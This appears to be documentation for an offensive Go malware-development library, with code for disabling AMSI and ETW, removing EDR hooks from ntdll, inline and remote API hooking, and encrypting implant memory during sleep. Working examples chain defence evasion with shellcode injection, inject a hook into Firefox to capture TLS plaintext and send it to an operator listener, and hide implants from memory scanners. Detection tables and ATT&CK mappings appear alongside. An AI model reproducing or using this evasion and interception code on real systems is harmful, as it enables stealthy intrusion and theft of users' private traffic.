Composed (with evasion.amsi)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll([]evasion.Technique{
amsi.All(),
etw.All(),
}, caller)
Advanced (NtTraceEvent for stubborn EDRs)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = etw.PatchAll(caller) // user-mode helpers
_ = etw.PatchNtTraceEvent(caller) // kernel-call layer
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
5 × NtProtectVirtualMemory(ntdll, RWX) | ETW TI EVENT_TI_NTPROTECT — same channel as AMSI patch detection |
4 bytes of each EtwEvent* differ from on-disk image | EDR memory-integrity scanning |
| Process registered an ETW provider but emits zero events | Kernel-side ETW provider-volume monitoring |
| Per-provider event-count drops to zero mid-process | Process-lifecycle ETW analytics |
D3FEND counter: D3-PMC.
Hardening: subscribe to ETW Threat Intelligence in user-mode SIEM
collection — even if the patched process emits nothing, the
NtProtectVirtualMemory flips that installed the patch are visible in
TI.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1562.001 | Impair Defenses: Disable or Modify Tools | user-mode ETW write functions + optional NtTraceEvent | D3-PMC |
Limitations
- Per-process only. Other processes still emit events normally.
- Doesn't silence kernel-side ETW providers (Microsoft-Windows- Threat-Intelligence, Microsoft-Windows-Kernel-Process). Those emit from kernel mode regardless of user-mode patches.
- EDR may rescan
ntdll.dllevery N seconds; the patch is detectable if rescans are on. - The four-byte prologue overwrite assumes x86_64. ARM64 ntdll has different prologues; the package's current code is amd64-only.
See also
evasion/amsi— sibling defence-impair.evasion/unhook— restore ntdll first.- modexp — Disabling ETW — original reference.
- Microsoft — Event Tracing for Windows.
ntdll Unhooking
MITRE ATT&CK: T1562.001 -- Impair Defenses: Disable or Modify Tools | D3FEND: D3-HBPI -- Hook-Based Process Instrumentation | Detection: High
Primer
When a security guard is worried about a specific door, they install a tripwire across it. Anyone who walks through triggers an alarm, and the guard knows exactly who passed and when. The door still works normally -- it just has an invisible wire that reports activity.
EDR products do the same thing to Windows API functions. When your process starts, the EDR modifies the first few bytes of critical functions in ntdll.dll (the lowest-level user-mode library) to redirect them through the EDR's own monitoring code. This is called "hooking." When you call NtAllocateVirtualMemory, the hook intercepts the call, logs it, decides whether to allow it, and then either passes it through to the real function or blocks it.
Unhooking is finding the original blueprints for the door (the clean ntdll.dll from disk or from another process) and rebuilding the door without the tripwire. Once the hooks are removed, your API calls go directly to the kernel without EDR interception.
maldev provides three unhooking methods with increasing sophistication:
- Classic -- Restore just the first 5 bytes of a specific function from the on-disk copy.
- Full -- Replace the entire
.textsection of ntdll from the disk copy, removing ALL hooks at once. - Perun -- Read a pristine ntdll from a freshly-spawned suspended process (avoids reading from disk entirely).
How It Works
flowchart TD
subgraph Classic["Classic Unhook"]
C1[Read ntdll.dll from disk] --> C2[Parse PE exports]
C2 --> C3[Find target function offset]
C3 --> C4[Read first 5 clean bytes]
C4 --> C5[Overwrite hooked bytes in memory]
end
subgraph Full["Full Unhook"]
F1[Read ntdll.dll from disk] --> F2[Parse PE sections]
F2 --> F3[Extract entire .text section]
F3 --> F4[VirtualProtect .text → RWX]
F4 --> F5[Overwrite entire .text in memory]
F5 --> F6[Restore .text protection]
end
subgraph Perun["Perun Unhook"]
P1[CreateProcess notepad.exe SUSPENDED] --> P2[Read child's ntdll .text via ReadProcessMemory]
P2 --> P3[Overwrite our .text with child's clean copy]
P3 --> P4[TerminateProcess child]
end
style C5 fill:#2d5016,color:#fff
style F5 fill:#2d5016,color:#fff
style P3 fill:#2d5016,color:#fff
Classic Unhook -- Targeted, surgical:
- Read
ntdll.dllfromSystem32on disk (never hooked). - Parse the PE export directory to find the target function's file offset.
- Read the first 5 bytes (the typical hook trampoline size).
- Overwrite the hooked in-memory bytes with the clean disk copy via
PatchMemoryWithCaller.
Full Unhook -- Scorched earth:
- Read
ntdll.dllfrom disk and parse the PE to find the.textsection. - Extract the entire
.textsection bytes. VirtualProtectthe in-memory.texttoPAGE_EXECUTE_READWRITE.WriteProcessMemory(orNtWriteVirtualMemoryvia Caller) to overwrite the entire section.- Restore original protection.
Perun Unhook -- Disk-free:
- Spawn
notepad.exe(or configurable target) inCREATE_SUSPENDED | CREATE_NO_WINDOWstate. - ntdll is loaded at the same base address in all processes (ASLR is per-boot). Read the child's pristine
.textviaReadProcessMemory. - Overwrite the local hooked
.textwith the clean copy. - Terminate the child process.
Usage
package main
import (
"log"
"github.com/oioio-space/maldev/evasion/unhook"
)
func main() {
// Classic: unhook a single function. 3rd arg is an optional
// stealthopen.Opener — nil = path-based read of ntdll.dll; pass a
// *stealthopen.Stealth to bypass path-based EDR hooks on that open.
if err := unhook.ClassicUnhook("NtAllocateVirtualMemory", nil, nil); err != nil {
log.Fatal(err)
}
// Full: unhook ALL ntdll functions at once. Same Opener semantics.
if err := unhook.FullUnhook(nil, nil); err != nil {
log.Fatal(err)
}
// Perun: unhook from a child process (no disk read).
if err := unhook.PerunUnhook(nil); err != nil {
log.Fatal(err)
}
// Perun with custom host process.
if err := unhook.PerunUnhookTarget("svchost.exe", nil); err != nil {
log.Fatal(err)
}
}
Combined Example
package main
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/evasion/unhook"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
shellcode := []byte{0x90, 0x90, 0xCC}
// Use indirect syscalls for the unhooking itself.
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
// Layer evasion: blind telemetry first, THEN unhook.
// Order matters: ETW patch prevents logging of the unhook operation.
techniques := []evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
unhook.Full(), // or unhook.CommonClassic()... for selective
}
if errs := evasion.ApplyAll(techniques, caller); errs != nil {
for name, err := range errs {
log.Printf("%s: %v", name, err)
}
}
// After unhooking, all NT calls go directly to kernel.
injector, err := inject.Build().
Method(inject.MethodCreateRemoteThread).
TargetPID(1234).
Create()
if err != nil {
log.Fatal(err)
}
injector.Inject(shellcode)
}
Advantages & Limitations
| Aspect | Detail |
|---|---|
| Stealth (Classic) | Medium -- only touches one function. Minimal disk I/O. |
| Stealth (Full) | Low -- reads entire ntdll from disk, massive memory write. Very visible. |
| Stealth (Perun) | Medium-High -- no disk read, but spawning a child process is logged. |
| Effectiveness | High -- completely removes userland hooks. After unhooking, EDR loses visibility into hooked APIs. |
| Caller routing | All three methods support *wsyscall.Caller for the protection/write phase, bypassing potential hooks on VirtualProtect and WriteProcessMemory themselves. |
| Detection vectors | Disk read of ntdll.dll (Full/Classic), child process spawn (Perun), memory integrity checks before/after, ETW events for VirtualProtect on ntdll pages. |
| Limitations | Does not affect kernel-level hooks (minifilters, callbacks). Does not remove hooks set after the unhook operation. Some EDRs re-hook periodically. |
API Reference
// ClassicUnhook restores the first 5 bytes of a hooked ntdll function.
// opener is optional (nil = plain os.Open of ntdll.dll). Pass a
// *stealthopen.Stealth built for ntdll.dll to bypass path-based EDR
// hooks on the CreateFile for System32\ntdll.dll.
func ClassicUnhook(funcName string, caller *wsyscall.Caller, opener stealthopen.Opener) error
// FullUnhook replaces the entire .text section from disk. Same opener
// semantics as ClassicUnhook.
func FullUnhook(caller *wsyscall.Caller, opener stealthopen.Opener) error
// PerunUnhook reads pristine ntdll from a suspended notepad.exe child.
func PerunUnhook(caller *wsyscall.Caller) error
// PerunUnhookTarget uses a custom host process.
func PerunUnhookTarget(target string, caller *wsyscall.Caller) error
// Technique constructors:
func Classic(funcName string) evasion.Technique
func CommonClassic() []evasion.Technique // common hooked functions
func Full() evasion.Technique
func Perun() evasion.Technique
// Hook detection:
func IsHooked(funcName string) (bool, error)
See also
- Evasion area README
evasion/hook— symmetric primitive: install your own hooks once EDR's are removedevasion/preset— Stealth preset includesunhook.FullUnhookas the first stepwin/syscall— direct/indirect syscalls bypass hooks without restoring them
Inline Hook — x64 Function Interception
MITRE ATT&CK: T1574.012 — Hijack Execution Flow: Inline Hooking
Package: evasion/hook
Platform: Windows (x64)
Detection: High
Primer
Every Windows function — MessageBoxW, CreateFileW, NtAllocateVirtualMemory
— lives at some address in memory and starts with a short sequence of
instructions called its prologue. An inline hook rewrites the first
bytes of that prologue so the CPU jumps to your code instead. Your
callback inspects (or modifies) the arguments, then either lets the original
function run by calling a small trampoline that re-executes the patched
bytes and jumps back, or returns a synthetic result without ever running
the real function.
This single primitive underlies a huge fraction of both offensive and defensive tooling:
- EDR agents hook
NtAllocateVirtualMemory/NtProtectVirtualMemoryin userland to flag shellcode-like allocations before they run. - Red-team tools hook
AmsiScanBufferto make every scan return "clean", orEtwEventWriteto suppress telemetry. - Malware researchers hook APIs they want to trace (args, return value) without attaching a debugger.
evasion/hook is a pure-Go, no-CGo, x64-only implementation: it allocates a
relay page within ±2 GB of the target (so a 5-byte JMP rel32 is
enough), writes a JMP to the relay, and the relay hops to a Go callback via
syscall.NewCallback. An Install/Uninstall pair restores the original
bytes on demand.
What It Does
Intercepts calls to any exported Windows function by patching its prologue with a JMP to a Go callback. The original function remains callable via a trampoline. Pure Go — no CGo, no x64dbg required.
How It Works
sequenceDiagram
participant Caller
participant Target as "Target Function"
participant Relay as "Relay Page within 2GB"
participant Callback as "Go Callback"
participant Trampoline as "Trampoline"
Note over Target: Prologue patched with JMP rel32
Caller->>Target: Call function
Target->>Relay: JMP rel32 (5 bytes)
Relay->>Callback: MOV R10, addr; JMP R10
Callback->>Trampoline: syscall.SyscallN(h.Trampoline(), ...)
Trampoline->>Target: Stolen bytes + JMP back past patch
Target-->>Trampoline: Returns
Trampoline-->>Callback: Returns
Callback-->>Caller: Returns (possibly modified)
Three Components
| Component | Size | Purpose |
|---|---|---|
| Hook patch | 5 bytes (E9 rel32) | JMP from target to relay |
| Relay page | 13 bytes (MOV R10, imm64; JMP R10) | Absolute JMP to Go callback. Allocated within ±2GB of target (required for rel32). |
| Trampoline | N+13 bytes | Copy of stolen prologue bytes (with RIP fixups) + absolute JMP back to original function after the patch |
Automatic Prologue Analysis
Uses golang.org/x/arch/x86/x86asm to:
- Decode instructions until cumulative length >= 5 bytes
- Detect RIP-relative instructions (
[RIP+disp32], relative branches) - Fix up displacements so the trampoline targets correct addresses
No manual stealLength calculation needed.
API Reference
func Install(targetAddr uintptr, handler interface{}) (*Hook, error)
func InstallByName(dllName, funcName string, handler interface{}) (*Hook, error)
type Hook struct{ ... }
func (h *Hook) Remove() error
func (h *Hook) Trampoline() uintptr
func (h *Hook) Target() uintptr
Install(targetAddr, handler) (*Hook, error)
Parameters:
targetAddr— absolute address of the Windows function to patch (resolve viawindows.NewLazyDLL("kernel32.dll").NewProc("DeleteFileW").Addr()).handler— Go function whose signature matches the target. Useinterface{}so callers don't pay the cost of typed-callback boilerplate;syscall.NewCallbacksynthesises the C-ABI thunk.
Returns: *Hook ready for .Remove() / .Trampoline(). Errors
on prologue-decode failure (RIP-relative jump in first 5 bytes that
can't be relocated), relay-allocation failure (no ±2 GB page
available), or write failure.
Side effects: mutates the first 5 bytes of targetAddr (saved
inside the Hook for restore), allocates two RX pages within ±2 GB of
the target.
InstallByName(dllName, funcName, handler)
Convenience wrapper that resolves dllName!funcName via
win/api.ResolveByHash (string-free at runtime when called with
build-time constants) before calling Install.
Hook.Remove() / Hook.Trampoline() / Hook.Target()
Remove restores the original 5 bytes and frees the relay/trampoline
pages. Trampoline returns the address callable from the handler to
invoke the original function (mandatory if you want pass-through).
Target returns the resolved target address (handy for logging).
Usage
Intercept and Log
import (
"log"
"syscall"
"unsafe"
"github.com/oioio-space/maldev/evasion/hook"
"golang.org/x/sys/windows"
)
var h *hook.Hook
func main() {
var err error
h, err = hook.InstallByName("kernel32.dll", "DeleteFileW",
func(lpFileName uintptr) uintptr {
name := windows.UTF16PtrToString((*uint16)(unsafe.Pointer(lpFileName)))
log.Printf("DeleteFileW: %s", name)
r, _, _ := syscall.SyscallN(h.Trampoline(), lpFileName)
return r
},
)
if err != nil {
log.Fatal(err)
}
defer h.Remove()
// All DeleteFileW calls in this process now go through our handler.
select {}
}
Block an API Call
var h *hook.Hook
h, _ = hook.InstallByName("kernel32.dll", "DeleteFileW",
func(lpFileName uintptr) uintptr {
return 0 // Return FALSE — deletion blocked
},
)
defer h.Remove()
Monitor NtCreateFile
var h *hook.Hook
h, _ = hook.InstallByName("ntdll.dll", "NtCreateFile",
func(fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
fileAttrs, shareAccess, createDisp, createOpts, eaBuffer,
eaLength uintptr) uintptr {
log.Println("NtCreateFile intercepted")
r, _, _ := syscall.SyscallN(h.Trampoline(),
fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
fileAttrs, shareAccess, createDisp, createOpts, eaBuffer, eaLength)
return r
},
)
defer h.Remove()
How to Find the Right Function to Hook
You don't need x64dbg. Windows API functions are exported by name from
system DLLs — InstallByName resolves them automatically.
Step 1: Identify the API
Ask: "What Windows API does the operation I want to intercept call?"
| I want to intercept... | Hook this function | In this DLL |
|---|---|---|
| File deletion | DeleteFileW | kernel32.dll |
| File creation/opening | NtCreateFile | ntdll.dll |
| Process creation | CreateProcessW | kernel32.dll |
| Registry writes | RegSetValueExW | advapi32.dll |
| Network connections | connect | ws2_32.dll |
| DNS resolution | DnsQuery_W | dnsapi.dll |
| MessageBox | MessageBoxW | user32.dll |
| Memory allocation | NtAllocateVirtualMemory | ntdll.dll |
| DLL loading | LdrLoadDll | ntdll.dll |
| Screenshot | BitBlt | gdi32.dll |
Tip: Hook the Nt* (ntdll) version to catch all callers — kernel32
functions like CreateFileW internally call NtCreateFile, so hooking
at the ntdll level catches both direct and indirect calls.
Step 2: Find the Signature
Look up the function signature on Microsoft Learn.
Convert each parameter to uintptr in your Go handler:
// MSDN signature:
// BOOL DeleteFileW(LPCWSTR lpFileName)
//
// Go handler:
func(lpFileName uintptr) uintptr
// MSDN signature:
// NTSTATUS NtCreateFile(
// PHANDLE FileHandle,
// ACCESS_MASK DesiredAccess,
// POBJECT_ATTRIBUTES ObjectAttributes,
// PIO_STATUS_BLOCK IoStatusBlock,
// PLARGE_INTEGER AllocationSize,
// ULONG FileAttributes,
// ULONG ShareAccess,
// ULONG CreateDisposition,
// ULONG CreateOptions,
// PVOID EaBuffer,
// ULONG EaLength
// )
//
// Go handler: all pointers and integers become uintptr
func(fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
fileAttrs, shareAccess, createDisp, createOpts, eaBuffer,
eaLength uintptr) uintptr
Step 3: Write the Hook
package main
import (
"fmt"
"log"
"os"
"syscall"
"unsafe"
"github.com/oioio-space/maldev/evasion/hook"
"golang.org/x/sys/windows"
)
var hDeleteFile *hook.Hook
func main() {
var err error
// Hook DeleteFileW — intercept all file deletions in this process.
hDeleteFile, err = hook.InstallByName("kernel32.dll", "DeleteFileW",
func(lpFileName uintptr) uintptr {
name := windows.UTF16PtrToString((*uint16)(unsafe.Pointer(lpFileName)))
// Decide: block or allow?
if name == `C:\important.txt` {
log.Printf("BLOCKED deletion of %s", name)
// Return FALSE — caller's GetLastError() will see whatever
// is already in TEB (typically 0). Use windows.SetLastError
// via direct syscall if you need a specific code.
return 0
}
// Allow — call original via trampoline.
log.Printf("ALLOWED deletion of %s", name)
r, _, _ := syscall.SyscallN(hDeleteFile.Trampoline(), lpFileName)
return r
},
)
if err != nil {
log.Fatal(err)
}
defer hDeleteFile.Remove()
// Test it — try to delete a file.
err = os.Remove(`C:\important.txt`)
fmt.Printf("Remove result: %v\n", err) // Access denied — hook blocked it
err = os.Remove(`C:\temp\disposable.txt`)
fmt.Printf("Remove result: %v\n", err) // Allowed — hook called original
}
Step 4: List All Exports
To discover what functions a DLL exports (without x64dbg), use debug/pe:
import "debug/pe"
f, _ := pe.Open(`C:\Windows\System32\kernel32.dll`)
defer f.Close()
exports, _ := f.Exports()
for _, e := range exports {
fmt.Println(e.Name)
}
// Output: AcquireSRWLockExclusive, AddAtomA, AddAtomW, ...
Finding Signatures Without MSDN
The PE export table only stores name → address — no parameter types or
count. This is a fundamental limitation of the PE format. Several
approaches exist depending on the context:
For Windows APIs: just use MSDN
Microsoft documents every public function. Search
site:learn.microsoft.com <function name> and translate to uintptr.
For unknown/third-party functions: estimate parameter count
Since Go handlers use uintptr for all parameters, you only need to know
how many params — not their types. The x64 ABI is predictable:
- First 4 args:
RCX,RDX,R8,R9 - Additional args: pushed on stack after 32-byte shadow space
sub rsp, 0xNNin the prologue hints at the frame size
Practical shortcut: declare more parameters than the function actually
takes. Extra uintptr args are harmless — the Go callback ignores them:
// Don't know exact param count? Declare the maximum (up to 18).
// Unused params are simply zero.
h, _ = hook.Install(funcAddr, func(
a1, a2, a3, a4, a5, a6, a7, a8 uintptr,
) uintptr {
log.Printf("called with: %x %x %x %x", a1, a2, a3, a4)
r, _, _ := syscall.SyscallN(h.Trampoline(), a1, a2, a3, a4, a5, a6, a7, a8)
return r
})
For programs with debug symbols (.pdb)
Microsoft publishes PDB files for system binaries on the
Symbol Server. Third-party
programs sometimes ship with .pdb files next to the .exe. PDB files
contain full type information including parameter names and types. Parsing
requires a PDB reader (not yet in maldev).
Discovering imports of a target program
To see which DLL functions a program calls (and thus which are hookable via IAT), parse its import table:
import "debug/pe"
f, _ := pe.Open(`C:\path\to\target.exe`)
defer f.Close()
imports, _ := f.ImportedSymbols()
for _, sym := range imports {
fmt.Println(sym) // "kernel32.dll:CreateFileW", "ntdll.dll:NtClose", etc.
}
This tells you exactly which functions the target uses — you can then look up each one's signature by name.
Hook Options
Install and InstallByName accept variadic HookOption values:
| Option | Effect |
|---|---|
WithCaller(caller) | Route the memory-patch syscall through a *wsyscall.Caller for indirect/direct syscall dispatch (EDR evasion) |
WithCleanFirst() | Re-read the target function prologue from disk before patching, stripping any EDR hook already present |
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()))
h, err := hook.InstallByName("ntdll.dll", "NtWriteFile", myHandler,
hook.WithCaller(caller), // use indirect syscalls for the patch
hook.WithCleanFirst(), // evict EDR hook first
)
Both options compose: WithCleanFirst strips the EDR hook via unhook.ClassicUnhook, then WithCaller writes the new patch through the indirect-syscall path.
InstallProbe — Unknown Signatures
When you don't know a function's parameter types or count, use InstallProbe.
It hooks with a 18-uintptr handler, calls the original transparently, and
delivers a ProbeResult to your callback on every call.
func InstallProbe(targetAddr uintptr, onCall func(ProbeResult), opts ...HookOption) (*Hook, error)
func InstallProbeByName(dllName, funcName string, onCall func(ProbeResult), opts ...HookOption) (*Hook, error)
ProbeResult
type ProbeResult struct {
Args [18]uintptr
Ret uintptr
}
func (r ProbeResult) NonZeroArgs() []int // indices of non-zero args
func (r ProbeResult) NonZeroCount() int // count of non-zero args
Example: discover parameters of an unknown function
h, err := hook.InstallProbeByName("somelib.dll", "UnknownFunc",
func(r hook.ProbeResult) {
log.Printf("called: %d non-zero args at indices %v",
r.NonZeroCount(), r.NonZeroArgs())
// Inspect r.Args[0], r.Args[1], ... to understand the ABI.
},
)
if err != nil {
log.Fatal(err)
}
defer h.Remove()
Call the target binary and observe which argument slots light up. Once you
have a count, switch to a typed Install handler.
HookGroup — Multi-Hook
HookGroup installs a set of hooks atomically: if any installation fails,
all previously installed hooks in the group are removed before the error is
returned, so the process never ends up in a half-hooked state.
func InstallAll(targets []Target, opts ...HookOption) (*HookGroup, error)
type Target struct {
DLL string
Func string
Handler interface{}
}
func (g *HookGroup) RemoveAll() error
func (g *HookGroup) Hooks() []*Hook
Example: hook all Winsock send/recv at once
var (
hSend *hook.Hook
hRecv *hook.Hook
)
g, err := hook.InstallAll([]hook.Target{
{DLL: "ws2_32.dll", Func: "send",
Handler: func(s, buf, len, flags uintptr) uintptr {
log.Printf("send: %d bytes", len)
r, _, _ := syscall.SyscallN(hSend.Trampoline(), s, buf, len, flags)
return r
},
},
{DLL: "ws2_32.dll", Func: "recv",
Handler: func(s, buf, len, flags uintptr) uintptr {
log.Printf("recv: %d bytes", len)
r, _, _ := syscall.SyscallN(hRecv.Trampoline(), s, buf, len, flags)
return r
},
},
})
if err != nil {
log.Fatal(err) // both hooks rolled back on any failure
}
// Populate trampoline references after group install.
hSend = g.Hooks()[0]
hRecv = g.Hooks()[1]
defer g.RemoveAll()
PE Import Analysis
pe/imports enumerates the IAT (Import Address Table) of any PE on disk —
no process access required. Use it to discover which functions a target
binary imports so you know what to hook.
// List every import in an executable.
func List(pePath string) ([]Import, error)
// Filter to a single DLL.
func ListByDLL(pePath, dllName string) ([]Import, error)
// Parse from an io.ReaderAt (e.g. in-memory PE).
func FromReader(r io.ReaderAt) ([]Import, error)
type Import struct {
DLL string
Function string
}
Example: find hookable network functions in a target
import "github.com/oioio-space/maldev/pe/imports"
imps, err := imports.ListByDLL(`C:\Program Files\target\app.exe`, "ws2_32.dll")
if err != nil {
log.Fatal(err)
}
for _, imp := range imps {
fmt.Printf("%s!%s\n", imp.DLL, imp.Function)
}
// ws2_32.dll!connect
// ws2_32.dll!send
// ws2_32.dll!recv
// ws2_32.dll!WSASend
Remote Hooking
RemoteInstall injects a shellcode hook handler into another process. The
patching itself happens inside the target process (the shellcode is
responsible for installing the hook once loaded). Compose with GoHandler
to turn a Go hook DLL into position-independent shellcode via Donut.
// Inject shellcode handler into a process by PID.
func RemoteInstall(pid uint32, dllName, funcName string, shellcodeHandler []byte, opts ...RemoteOption) error
// Resolve process name to PID, then call RemoteInstall.
func RemoteInstallByName(processName, dllName, funcName string, shellcodeHandler []byte, opts ...RemoteOption) error
// Convert a Go hook DLL on disk to PIC shellcode.
func GoHandler(dllPath, entryPoint string) ([]byte, error)
// Convert a Go hook DLL already loaded in memory to PIC shellcode.
func GoHandlerBytes(dllBytes []byte, entryPoint string) ([]byte, error)
// Override the injection method (default: CreateRemoteThread).
func WithMethod(m inject.Method) RemoteOption
All 15+ injection methods from inject/ are available via WithMethod.
Example workflow: hook PR_Write in Firefox
// 1. Build the hook DLL (go build -buildmode=c-shared -o hook.dll ./hookcmd)
sc, err := hook.GoHandler(`hook.dll`, "InstallHook")
if err != nil {
log.Fatal(err)
}
// 2. Inject into the running process using a stealthy method.
err = hook.RemoteInstallByName("firefox.exe", "nss3.dll", "PR_Write", sc,
hook.WithMethod(inject.MethodEarlyBirdAPC),
)
if err != nil {
log.Fatal(err)
}
// Firefox's TLS layer (nss3.dll!PR_Write) is now intercepted.
Shellcode Templates
evasion/hook/shellcode provides tiny x64 stubs for use with RemoteInstall
when you want a pre-canned behaviour without writing a full hook DLL.
// Block() — always returns 0 (FALSE). 3 bytes: XOR EAX,EAX; RET
func Block() []byte
// Nop(addr) — calls original function unchanged via JMP to trampoline. 13 bytes.
func Nop(trampolineAddr uintptr) []byte
// Replace(val) — returns a fixed value. 11 bytes: MOV RAX,imm64; RET
func Replace(returnValue uintptr) []byte
// Redirect(addr) — unconditional JMP to another address. 13 bytes.
func Redirect(targetAddr uintptr) []byte
Example: silently block a single API in a remote process
import "github.com/oioio-space/maldev/evasion/hook/shellcode"
// Block all CreateFile calls in notepad.exe — returns 0 with no side-effects.
err := hook.RemoteInstallByName("notepad.exe", "kernel32.dll", "CreateFileW",
shellcode.Block(),
)
Bridge Control API
The evasion/hook/bridge package provides a bidirectional IPC channel between
a hook handler running inside a target process and an operator listener outside
(or in a separate goroutine).
Modes
| Mode | How | When to use |
|---|---|---|
| Standalone | bridge.Standalone() | Hook runs autonomously — all Ask calls return Allow automatically |
| Connected | bridge.Connect(conn) | Hook sends events to a live listener for real-time decisions |
Controller (hook handler side)
// Standalone — no comms, all decisions auto-allow.
c := bridge.Standalone()
// Connected — bidirectional channel to a Listener.
c := bridge.Connect(conn)
// Send a tagged call for approval; blocks until listener replies.
// Returns Allow on any transport error (fail-open).
decision := c.Ask("tag", data) // returns Allow | Block | Modify
// Send a free-form log message to the listener.
c.Log("format %s", value)
// Exfiltrate tagged binary data to the listener.
c.Exfil("tag", data)
// Call the original function via trampoline.
ret := c.CallOriginal(args...)
Decisions:
bridge.Allow // pass through to original
bridge.Block // suppress the call
bridge.Modify // caller adjusts args/return before forwarding
Listener (operator side)
conn, _ := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)
l := bridge.NewListener(conn)
l.OnCall(func(c bridge.Call) bridge.Decision {
log.Printf("[%s] %x", c.Tag, c.Data)
return bridge.Allow
})
l.OnExfil(func(tag string, data []byte) {
log.Printf("exfil[%s]: %d bytes", tag, len(data))
})
l.OnLog(func(msg string) { log.Println(msg) })
go l.Serve() // blocks until connection closed
defer l.Close()
Transport
// Named pipe (Windows — low footprint, no network traffic).
conn, err := bridge.DialPipe(`\\.\pipe\hookbridge`, 5*time.Second)
// TCP (cross-host or cross-process).
conn, err := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)
Example: TLS interception via PR_Write hook
// --- implant side (inside target process, hook DLL) ---
c := bridge.Connect(conn)
hook.InstallByName("nss3.dll", "PR_Write",
func(fd, buf, amount uintptr) uintptr {
data := unsafe.Slice((*byte)(unsafe.Pointer(buf)), amount)
c.Exfil("pr_write", data) // send plaintext to operator
d := c.Ask("pr_write_allow", data) // ask for approval
if d == bridge.Block {
return 0
}
r, _, _ := syscall.SyscallN(h.Trampoline(), fd, buf, amount)
return r
},
)
// --- operator side (separate process) ---
conn, _ := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)
l := bridge.NewListener(conn)
l.OnExfil(func(tag string, data []byte) {
fmt.Printf("[TLS plaintext] %s\n", data)
})
l.OnCall(func(c bridge.Call) bridge.Decision {
return bridge.Allow // let all writes through
})
go l.Serve()
Advantages & Limitations
| Aspect | Detail |
|---|---|
| Pure Go | No CGo — uses syscall.NewCallback |
| Auto analysis | Prologue decoded via x86asm |
| RIP fixup | RIP-relative instructions patched in trampoline |
| Trampoline | Original function remains callable |
| Max params | ~18 uintptr parameters (NewCallback limit) |
| Scope | Current process only (use RemoteInstall for other processes) |
| Thread safety | Brief race window during patch (non-atomic write) |
| Go runtime | Don't hook NtClose, NtCreateFile, NtReadFile, NtWriteFile |
| WithCaller | Routes memory-patch through indirect/direct syscalls to evade EDR write monitors |
| WithCleanFirst | Strips existing EDR hook from disk image before installing yours |
| InstallProbe | Signature-agnostic probe; captures all 18 arg slots, zero overhead on unknown ABIs |
| HookGroup | Atomic multi-hook install with rollback — no partial state on failure |
| RemoteInstall | Injects hook handler into another process via any of 15+ injection methods |
| GoHandler | Converts Go hook DLL to PIC shellcode via Donut (no separate toolchain needed) |
| shellcode templates | Block / Nop / Replace / Redirect — tiny PIC stubs for remote hooks |
| Bridge (standalone) | Autonomous hook with no comms; Ask always returns Allow |
| Bridge (connected) | Real-time operator control over allow/block/modify decisions via named pipe or TCP |
Comparison with evasion/unhook
evasion/hook | evasion/unhook | |
|---|---|---|
| Direction | Installs hooks (intercept) | Removes hooks (restore) |
| Use case | API monitoring, redirection | EDR bypass |
| Complementary | Unhook EDR first, then install your own hooks |
MITRE ATT&CK
| Technique | ID |
|---|---|
| Hijack Execution Flow: Inline Hooking | T1574.012 |
Detection
High — Any integrity check comparing in-memory function prologues to their on-disk counterparts will detect the JMP patch. EDR products specifically monitor for this on sensitive functions.
See also
- Evasion area README
evasion/hook/bridge— companion IPC controller for runtime hook swapevasion/hook/shellcode— pre-fab x64 handler payloadsevasion/unhook— symmetric primitive: remove EDR-installed hooks before installing your own
Encrypted Sleep (Sleep Mask)
MITRE ATT&CK: T1027 — Obfuscated Files or Information D3FEND: D3-SMRA — System Memory Range Analysis Detection: Low · Platform: Windows
Primer
An in-memory implant that stays executable 24/7 is easy to spot. Every EDR that scans process memory at intervals — walking committed pages with VirtualQueryEx, filtering for PAGE_EXECUTE_READ / PAGE_EXECUTE_READWRITE, hashing or YARA-matching the contents — has unlimited attempts to find your shellcode between beacon cycles.
Sleep masking cuts their window to nearly zero. Right before going idle, the implant flips its own pages off the executable list (dropping the X bit to PAGE_READWRITE) and XOR-scrambles the bytes under a fresh random key. Anything that scans executable memory during that idle period will not even see the region, let alone match a signature. When the sleep ends, the mask XORs back and restores the original protection, and the implant is ready to run.
This package's Mask type composes a Cipher (XOR / RC4 / AES-CTR) with a Strategy (inline / timerqueue / ekko / foliage) and accepts a context.Context so sleep cycles can be cancelled. It also ships a RemoteMask for masking memory in another process. The e2e tests in sleepmask_e2e_windows_test.go run a real concurrent memory scanner during Sleep() across the available strategies and assert it finds nothing.
How It Works
sequenceDiagram
participant Impl as "Implant"
participant Mask as "Mask.Sleep"
participant Page as "Protected region"
participant Scan as "EDR scanner"
Impl->>Mask: Sleep(30s)
Mask->>Mask: 32-byte random key (crypto/rand)
Note over Mask,Page: Order matters: RW first, then XOR.<br>Post-inject pages are PAGE_EXECUTE_READ,<br>writing before downgrade = STATUS_ACCESS_VIOLATION
loop For each region
Mask->>Page: VirtualProtect(RW), capture origProtect
Mask->>Page: XOR in-place with key
end
Note over Page: Pages: RW + scrambled bytes<br>(not on the scanner's target list)
Scan->>Page: scan executable pages
Page-->>Scan: no executable pages matching<br>signature in this region
Mask->>Mask: time.Sleep(30s) OR BusyWaitTrig(30s)
loop For each region
Mask->>Page: VirtualProtect(RW) [no-op if already RW]
Mask->>Page: XOR decrypt (self-inverse)
Mask->>Page: VirtualProtect(origProtect)
end
Mask->>Mask: SecureZero(key)
Mask-->>Impl: return
Step-by-step:
- Generate key —
cipher.KeySize()random bytes fromcrypto/rand(32 for XOR/RC4, 48 for AES-CTR). - Downgrade + encrypt — for each region:
